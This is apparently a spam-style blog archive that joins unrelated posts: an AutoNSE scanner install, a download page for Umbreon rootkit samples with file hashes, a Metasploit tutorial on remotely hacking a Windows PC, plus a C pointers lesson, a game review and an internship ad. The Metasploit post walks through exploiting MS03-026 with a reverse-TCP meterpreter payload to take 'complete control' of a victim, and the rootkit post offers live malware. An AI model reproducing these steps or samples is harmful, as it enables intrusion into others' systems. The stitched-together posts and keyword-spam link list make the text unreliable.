Wednesday, May 6, 2020

AutoNSE - Massive NSE (Nmap Scripting Engine) AutoSploit And AutoScanner

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Massive NSE (Nmap Scripting Engine) AutoSploit and AutoScanner. The Nmap Scripting Engine (NSE) is one of Nmap's most powerful and flexible features. It allows users to write (and share) simple scripts (using the Lua programming language ) to automate a wide variety of networking tasks. Those scripts are executed in parallel with the speed and efficiency you expect from Nmap. Users can rely on the growing and diverse set of scripts distributed with Nmap, or write their own to meet custom needs. For more informations https://nmap.org/book/man-nse.html

Installation
$ git clone https://github.com/m4ll0k/AutoNSE.git
$ cd AutoNSE
$ bash autonse.sh

Exmaples
$ bash autonse.sh




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Rootkit Umbreon / Umreon - X86, ARM Samples

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Pokémon-themed Umbreon Linux Rootkit Hits x86, ARM Systems
Research: Trend Micro


There are two packages
one is 'found in the wild' full and a set of hashes from Trend Micro (all but one file are already in the full package)






Download

Download Email me if you need the password  



File information

Part one (full package)

#File NameHash ValueFile Size (on Disk)Duplicate?
1.umbreon-ascii0B880E0F447CD5B6A8D295EFE40AFA376085 bytes (5.94 KiB)
2autoroot1C5FAEEC3D8C50FAC589CD0ADD0765C7281 bytes (281 bytes)
3CHANGELOGA1502129706BA19667F128B44D19DC3C11 bytes (11 bytes)
4cli.shC846143BDA087783B3DC6C244C2707DC5682 bytes (5.55 KiB)
5hideportsD41D8CD98F00B204E9800998ECF8427E0 bytes ( bytes)Yes, of file promptlog
6install.sh9DE30162E7A8F0279E19C2C30280FFF85634 bytes (5.5 KiB)
7Makefile0F5B1E70ADC867DD3A22CA62644007E5797 bytes (797 bytes)
8portchecker006D162A0D0AA294C85214963A3D3145113 bytes (113 bytes)
9promptlogD41D8CD98F00B204E9800998ECF8427E0 bytes ( bytes)
10readlink.c42FC7D7E2F9147AB3C18B0C4316AD3D81357 bytes (1.33 KiB)
11ReadMe.txtB7172B364BF5FB8B5C30FF528F6C51252244 bytes (2.19 KiB)
12setup694FFF4D2623CA7BB8270F5124493F37332 bytes (332 bytes)
13spytty.sh0AB776FA8A0FBED2EF26C9933C32E97C1011 bytes (1011 bytes)Yes, of file spytty.sh
14umbreon.c91706EF9717176DBB59A0F77FE95241C1007 bytes (1007 bytes)
15access.c7C0A86A27B322E63C3C29121788998B8713 bytes (713 bytes)
16audit.cA2B2812C80C93C9375BFB0D7BFCEFD5B1434 bytes (1.4 KiB)
17chown.cFF9B679C7AB3F57CFBBB852A13A350B22870 bytes (2.8 KiB)
18config.h980DEE60956A916AFC9D2997043D4887967 bytes (967 bytes)
19config.h.dist980DEE60956A916AFC9D2997043D4887967 bytes (967 bytes)Yes, of file config.h
20dirs.c46B20CC7DA2BDB9ECE65E36A4F987ABC3639 bytes (3.55 KiB)
21dlsym.c796DA079CC7E4BD7F6293136604DC07B4088 bytes (3.99 KiB)
22exec.c1935ED453FB83A0A538224AFAAC71B214033 bytes (3.94 KiB)
23getpath.h588603EF387EB617668B00EAFDAEA393183 bytes (183 bytes)
24getprocname.hF5781A9E267ED849FD4D2F5F3DFB8077805 bytes (805 bytes)
25includes.hF4797AE4B2D5B3B252E0456020F58E59629 bytes (629 bytes)
26kill.cC4BD132FC2FFBC84EA5103ABE6DC023D555 bytes (555 bytes)
27links.c898D73E1AC14DE657316F084AADA58A02274 bytes (2.22 KiB)
28local-door.c76FC3E9E2758BAF48E1E9B442DB98BF8501 bytes (501 bytes)
29lpcap.hEA6822B23FE02041BE506ED1A182E5CB1690 bytes (1.65 KiB)
30maps.c9BCD90BEA8D9F9F6270CF2017F9974E21100 bytes (1.07 KiB)
31misc.h1F9FCC5D84633931CDD77B32DB1D50D02728 bytes (2.66 KiB)
32netstat.c00CF3F7E7EA92E7A954282021DD72DC41113 bytes (1.09 KiB)
33open.cF7EE88A523AD2477FF8EC17C9DCD7C028594 bytes (8.39 KiB)
34pam.c7A947FDC0264947B2D293E1F4D69684A2010 bytes (1.96 KiB)
35pam_private.h2C60F925842CEB42FFD639E7C763C7B012480 bytes (12.19 KiB)
36pam_vprompt.c017FB0F736A0BC65431A25E1A9D393FE3826 bytes (3.74 KiB)
37passwd.cA0D183BBE86D05E3782B5B24E2C964132364 bytes (2.31 KiB)
38pcap.cFF911CA192B111BD0D9368AFACA03C461295 bytes (1.26 KiB)
39procstat.c7B14E97649CD767C256D4CD6E4F8D452398 bytes (398 bytes)
40procstatus.c72ED74C03F4FAB0C1B801687BE200F063303 bytes (3.23 KiB)
41readwrite.cC068ED372DEAF8E87D0133EAC0A274A82710 bytes (2.65 KiB)
42rename.cC36BE9C01FEADE2EF4D5EA03BD2B3C05535 bytes (535 bytes)
43setgid.c5C023259F2C244193BDA394E2C0B8313667 bytes (667 bytes)
44sha256.h003D805D919B4EC621B800C6C239BAE0545 bytes (545 bytes)
45socket.c348AEF06AFA259BFC4E943715DB5A00B579 bytes (579 bytes)
46stat.cE510EE1F78BD349E02F47A7EB001B0E37627 bytes (7.45 KiB)
47syslog.c7CD3273E09A6C08451DD598A0F18B5701497 bytes (1.46 KiB)
48umbreon.hF76CAC6D564DEACFC6319FA167375BA54316 bytes (4.21 KiB)
49unhide-funcs.c1A9F62B04319DA84EF71A1B091434C644729 bytes (4.62 KiB)
50cryptpass.py2EA92D6EC59D85474ED7A91C8518E7EC192 bytes (192 bytes)
51environment.sh70F467FE218E128258D7356B7CE328F11086 bytes (1.06 KiB)
52espeon-connect.shA574C885C450FCA048E79AD6937FED2E247 bytes (247 bytes)
53espeon-shell9EEF7E7E3C1BEE2F8591A088244BE0CB2167 bytes (2.12 KiB)
54espeon.c499FF5CF81C2624B0C3B0B7E9C6D980D14899 bytes (14.55 KiB)
55listen.sh69DA525AEA227BE9E4B8D59ACFF4D717209 bytes (209 bytes)
56spytty.sh0AB776FA8A0FBED2EF26C9933C32E97C1011 bytes (1011 bytes)
57ssh-hidden.shAE54F343FE974302F0D31776B72D0987127 bytes (127 bytes)
58unfuck.c457B6E90C7FA42A7C46D464FBF1D68E2384 bytes (384 bytes)
59unhide-self.pyB982597CEB7274617F286CA80864F499986 bytes (986 bytes)
60listen.shF5BD197F34E3D0BD8EA28B182CCE7270233 bytes (233 bytes)

part 2 (those listed in the Trend Micro article)
#File NameHash ValueFile Size (on Disk)
1015a84eb1d18beb310e7aeeceab8b84776078935c45924b3a10aa884a93e28acA47E38464754289C0F4A55ED7BB556489375 bytes (9.16 KiB)
20751cf716ea9bc18e78eb2a82cc9ea0cac73d70a7a74c91740c95312c8a9d53aF9BA2429EAE5471ACDE820102C5B81597512 bytes (7.34 KiB)
30a4d5ffb1407d409a55f1aed5c5286d4f31fe17bc99eabff64aa1498c5482a5f0AB776FA8A0FBED2EF26C9933C32E97C1011 bytes (1011 bytes)
40ce8c09bb6ce433fb8b388c369d7491953cf9bb5426a7bee752150118616d8ffB982597CEB7274617F286CA80864F499986 bytes (986 bytes)
5122417853c1eb1868e429cacc499ef75cfc018b87da87b1f61bff53e9b8e86709EEF7E7E3C1BEE2F8591A088244BE0CB2167 bytes (2.12 KiB)
6409c90ecd56e9abcb9f290063ec7783ecbe125c321af3f8ba5dcbde6e15ac64aB4746BB5E697F23A5842ABCAED36C9146149 bytes (6 KiB)
74fc4b5dab105e03f03ba3ec301bab9e2d37f17a431dee7f2e5a8dfadcca4c234D0D97899131C29B3EC9AE89A6D49A23E65160 bytes (63.63 KiB)
88752d16e32a611763eee97da6528734751153ac1699c4693c84b6e9e4fb08784E7E82D29DFB1FC484ED277C70218781855564 bytes (54.26 KiB)
9991179b6ba7d4aeabdf463118e4a2984276401368f4ab842ad8a5b8b730885222B1863ACDC0068ED5D50590CF792DF057664 bytes (7.48 KiB)
10a378b85f8f41de164832d27ebf7006370c1fb8eda23bb09a3586ed29b5dbdddfA977F68C59040E40A822C384D1CEDEB6176 bytes (176 bytes)
11aa24deb830a2b1aa694e580c5efb24f979d6c5d861b56354a6acb1ad0cf9809bDF320ED7EE6CCF9F979AEFE451877FFC26 bytes (26 bytes)
12acfb014304b6f2cff00c668a9a2a3a9cbb6f24db6d074a8914dd69b43afa452584D552B5D22E40BDA23E6587B1BC532D6852 bytes (6.69 KiB)
13c80d19f6f3372f4cc6e75ae1af54e8727b54b51aaf2794fedd3a1aa463140480087DD79515D37F7ADA78FF5793A42B7B11184 bytes (10.92 KiB)
14e9bce46584acbf59a779d1565687964991d7033d63c06bddabcfc4375c5f1853BBEB18C0C3E038747C78FCAB3E0444E371940 bytes (70.25 KiB)

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HOW TO HACK A PC REMOTELY WITH METASPLOIT?

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Metasploit is an advanced hacking tool that comes itself with a complete lack of advanced penetration testing tools. Penetration testers and hackers are taking so much advantage of this tool. It's a complete hack pack for a hacker that he can play almost any attack with it. I am not covering attacks in this article but I am going to share about how to hack a PC remotely with Metasploit. It's not so complicated if you pay attention to. It just needs a better understanding of each step you're performing. Let's move on how to do it.

SO, HOW TO HACK A PC REMOTELY WITH METASPLOIT?

REQUIREMENTS

Before getting started, make sure you have all the following things required to hack a PC remotely with Metasploit.
  • Linux Machine (Kali Linux or BackTrack 5)
  • Metasploit (Built in the mentioned Linux OS)
  • Windows PC victim

STEPS TO FOLLOW

Let's move on how to perform the complete attack.
  • Start your Linux OS and open up Nmap and run a scan for your victim remote server. Like we have our victim on remote server 192.168.42.129. It will show up the range of all open ports of the victim machine as you can see below.
  • We can see the open port here is 135. So, now we go to Metasploit and try to exploit and gain access to it. To open up, navigate to Application > BackTrack > Exploitation Tools > Network Exploitation Tools > Metasploit Framework > msfconsole.
  • After the initialization of msfconsole, standard checks, we will see the window like below.
  • Now, as we already know that our port 135 is open so, we search for a related RPC exploit in Metasploit. You can check out all the exploit list supported by Metasploit by using command 'show exploits'.
  • Now to activate an exploit, type the "use " with the exploit name like "use exploit/windows/dcerpc/ms03_026_dcom".
  • As we're in our required exploit environment, we need to configure the exploit according to our scenario. To check out the list of all the available options of an exploit, we can use command "show options". As we already know about the open port RPORT is 135. So, we just need to set our RHOST which we can set simply using the "set RHOST" command. Just type "set RHOST 192.168.42.129" and it's done.
  • Now before we launch the exploit is setting the payload for the exploit. We can view all the available payloads using the "show payloads" command.
  • Every payload can be used for a different scenario. In our case, we are using the reverse TCP meterpreter which can be set using the command, "set PAYLOAD windows/meterpreter/reverse_tcp" for remote shell and then use "show options" command to view the options for it.
  • Here we notice LHOST for out payload is not set, so we set it out to our Public IP i.e. 192.168.42.128 using the command "set LHOST 192.168.42.128".
  • Now exploit is configured and ready to launch. Now simply use "exploit" command to launch the attack. If exploit is executed successfully, we will see the message like below.
  • Now that a reverse connection has been set up between the victim and our machine, we have complete control of the server.  To find out all the commands to play with the victim machine, we can use the "help".

We have successfully gained access to a remote PC with Metasploit. That's all how to hack a PC remotely with Metasploit. Hope it will work for you.
More information

Tuesday, May 5, 2020

USE OF CRYPTOGRAPHY IN HACKING

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WHAT IS CRYPTOGRAPHY?

The process of transforming information into nonhuman readable form or vice versa is called cryptography.

Cryptography is the science of ciphering and deciphering messages.

                 
                            OR

Cryptography is a method of protecting information and communication through the use of codes so that only those whom the information is intended can read and process it.

In Computer Science, cryptography refers to secure information and communication techniques derived from mathematical concepts , a set of rule based calculations called algorithm to transform message in ways the hard to readable for human.


Information plays a vital role in running of business and organizations etc, information in the wrong hands can leads to loss of business.

To secure communication organizations use cryptology to cipher information .





Related posts

Pointers Part 1: The Basics

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So you're eager to learn about pointers but unfortunately you got stuck because they seemed to you terrible in nature? That's not true I know, but many of the people get confused when they arrive at the topic of pointers. Well pointers are the most important tools in C programming and are the one that can make you fly (unless you don't know how to ride over them). In this article we're going to learn basics of pointers.
Pointers are the varaibles that store addresses of other variables. Easy ain't it?
So lets start with the decleration of a pointer, pointer is decreleared as:
data_type *var_name;
e,g
int *pt;
well the astrisk(*) before the variable name is the thing that makes variable a pointer. So far so good now what?
Now lets say we want to store address of a variable in our pointer variable that seems pretty complex..!
Let's do it:
int number = 100;
int *pt = #
Is it really complex..?
what we are doing here is that we are first declaring and initializing a integer variable (number) with value of 100 and then we declare and initialize a pointer variable (pt) with the address of number variable. Now pt (pointer variable) contains the address of number (integer varaible). So what? Now we can use this pointer variable to change the value of number variable. Is this some kind of Magic? Maybe. Lets' do it:
*pt = 200;
what we have done here is that we De-referencing the pt variable with the asterisk (*) and then assigned it the value of 200 now the number variable contains 200. Isn't it a magic? De-referencing is used for accessing the value of the variable towards which our pointer is pointing simple. So lets write a full program of what we have learned so far.
/*Pointer Basics: Creating and Using Pointers*/
#include<stdio.h>
int main(void){
  int number = 100;
  int *pt = &number;
  printf("Value of 'number' is: %d", number);
  printf("Address of 'number' is: %p", pt);
  *pt = 200;
  printf("New value of 'number' is: %d", number);
  return 0;
}
What this whole program did was it created a integer variable and a pointer to integer variable and then printed out the value and address of the 'number' variable and after that we De-referenced the pointer variable so that we can access the value to which our pointer variable is pointing and changed the old 100 value with new 200 value and at last we printed that out. Easy isn't it?
But do you know that you can get the address of a variable even by using ampersand (&) operator? Lemme show you how. I'll declare and initialize a variable 'var' and then print it to screen using ampersand (&) operator:
int var = 10;
printf("Address of 'var' is %p\n", &var);
the last statement here will print out the address of 'var' not value so that means it is equal to this statement:
int *pt = &var;
printf("Address of 'var' is %p\n", pt);
here we first assigned the address of 'var' to pointer variable 'pt' and then printed out the address of 'var' using the pointer variable (pt).
So lets write another program that will wrap up this part of 'Pointer Basics':
/*Pointer Basics Part 1: Program 2*/
#include<stdio.h>
int main(void){
   int var = 10;
   int *pt = &var;
   printf("The Value of 'var' is: %d\n", var);
   printf("De-referencing: *pt = %d\n", *pt);
   printf("Ampersand: The Address of 'var' is %p\n",  &var);
   printf("pt = %p\n", pt);
   return 0;
}
So that's the end of first part watch out for the next part in which we'll tighten our grip on pointers and get ready for some Advanced '*po(inter)-fo'.

More info


  1. Cracker Definicion
  2. Hacking Growth Sean Ellis
  3. Hacking Games
  4. Capture The Flag Hacking
  5. Libro Hacker
  6. Hacking Games
  7. Hacking Wikipedia
  8. Hacking Definicion
  9. Tutoriales Hacking
  10. Growth Hacking Courses
  11. Herramientas Hacking Android
  12. Hacking Tutorials
  13. Hacking Iphone

Friday, May 1, 2020

Toy Soldiers, Part 2: Gaslands

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Gaslands is another in Osprey Publishing's line of miniatures rule books that exist on their own, without a particular line of miniatures or accessories to go with them. In this case, the game is about post-apocalyptic vehicle combat, so naturally it is designed to be played with Matchbox cars.

The game uses a template-based system for movement (similar to X-Wing) and a rather ingenious way to simulate speed, with cars in higher gear getting to move more often in a turn. The rules are simple and straightforward, aided by an over-arching "rule of carnage" that states that if any rule is unclear or open to multiple interpretations, always go with the option that does the most damage.

The simple rules make it a fast-paced game, which is what you want from a game about speeding cars. Each round is split up into "gear phases" in which cars moving at that gear or higher get to move and then attack (either by ramming or shooting). Going faster gets your vehicle more chances to act, but it also reduces your choice of movement template, which could see your car unexpectedly careening into a bit of terrain, or even off the board all together.

Players are presented with a number of options for creating their cars, including different types of vehicles such as buggies, motorcycles, performance cars, pickup trucks, and even the dreaded War Rig. Cars are then festooned with armaments ranging from basic machine guns to land mines and oil slick sprayers. There is even one faction armed with mad science lighning projectors and EMP pulses, and another that uses jury-rigged catapults to lob bits of junk at their enemies.

While the game is undoubtedly a lot of fun to play, the real joy for most players is in customizing their toy cars, adding machine guns and rams along with dents, scratches, rust and weathering. An entire community has popped up on places like Etsy, providing accessories for players to stick to their toy cars, and in most Gaslands forums there is a lot more discussion about modeling the cars than there is about actually playing the game.

One of my criticisms of Ronin was the lack of accessories such as stat cards, but that's less of an issue with Gaslands, mainly because the game is a lot more popular and there are numerous online resources providing everything from plastic movement templates and custom engraved dice to reusable blank vehicle cards.

Rating: 5 (out of 5) A terrific high-octane vehicle combat game. It may take a bit of prep time if you want to create custom cars to play with, but that really is half the fun (at least).

2019 Summer Innovation Program @ MassDiGi

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The 2019 MassDiGI Summer Innovation Program (SIP) is a twelve-week internship program that includes the mentoring, guidance, housing, stipends and game development tools to help student teams finalize an original digital game and prepare it for launch.
  • A chance to work on a game prototype from the ground up
  • Work with a team of students to help create the next big hit
  • Industry mentors to help guide you
  • A free place to live and a stipend
This is not just another internship but a chance to hold the fate of a game in your hands.  There are industry mentors and faculty to help you – but in the end it is up to your team to build a successful game.
  • Update: The 2019 SIP application period is now open. Click here to apply. 
  • The application period will close March 20, 2019 at 11:59 pm ET. Successful applicants will be informed on or before March 31, 2019 at 11:59 pm ET.
  • SIP19 runs from May 14 to August 11, 2019. Please read the FAQ's before applying. 

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